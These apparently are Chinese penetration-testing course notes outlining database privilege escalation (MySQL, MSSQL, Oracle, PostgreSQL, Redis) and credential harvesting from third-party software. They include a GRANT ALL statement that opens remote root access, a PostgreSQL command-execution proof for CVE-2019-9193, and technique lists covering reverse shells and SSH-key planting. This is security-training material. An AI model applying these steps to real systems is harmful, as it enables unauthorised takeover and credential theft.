数据库提权流程:
1、先获取到数据库用户密码
-网站存在SQL注入漏洞
-数据库的存储文件或备份文件
-网站应用源码中的数据库配置文件
-采用工具或脚本爆破(需解决外联问题)
2、利用数据库提权项目进行连接
MDUT //jkd1.8 启动
Databasetools //bug多
RequestTemplate //jdk1.8启动
https://github.com/SafeGroceryStore/MDUT
https://github.com/Hel10-Web/Databasetools
https://github.com/1n7erface/RequestTemplate
3、可利用建立代理解决不支持外联
-利用已知Web权限建立代理(等同于本地连接)
-利用已知权限执行SQL开启外联(让数据库支持外联)
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;
flush privileges;
4、可利用数据库提权类型条件及技术
-MYSQL:PHP+MYSQL 以web入口提权
条件:ROOT密码(高版本的-secure-file-priv没进行目录限制)
技术:UDF MOF 启动项 反弹Shell
-MSSQL:.NET+MSSQL 以web入口提权
条件:sa密码
技术:xp_cmdshell sp_oacreate CLR 沙盒
-Oracle:(站库分离,非JSP,直接数据库到系统等)
条件:数据库用户密码
技术:DBA,普通用户,注入模式
Linux数据库
-PostgreSQL
Web到系统
条件:数据库用户密码
技术:CVE-2019-9193 UDF libc
复现镜像:
https://market.aliyun.com/products/56024006/cmjj016247.html
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
-Redis
数据库到Linux
条件:利用未授权或密码连接后执行
见第78天课程内容-只适用Linux
技术:写密钥ssh 计划任务 反弹shell CVE2022沙盒执行
复现搭建:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
cd src
/redis-server
#第三方软件提权:
远控类:Teamviewer 向日葵 Todesk VNC Radmin等
密码类:各大浏览器 Xshell Navicat 3389 等
服务类:FileZilla Serv-u Zend等
文档类:Winrar WPS Office等
原理:
1、通过普通用户或Web用户收集或提取有价值凭据进行提升
2、通过普通用户或Web用户上传类似钓鱼文件等待管理提升
演示:
1、计算机用户:Teamviewer
2、计算机用户:NavicatPremium
3、计算机用户或WEB权限:Winrar(CVE2023)
4、计算机用户:浏览器密码凭据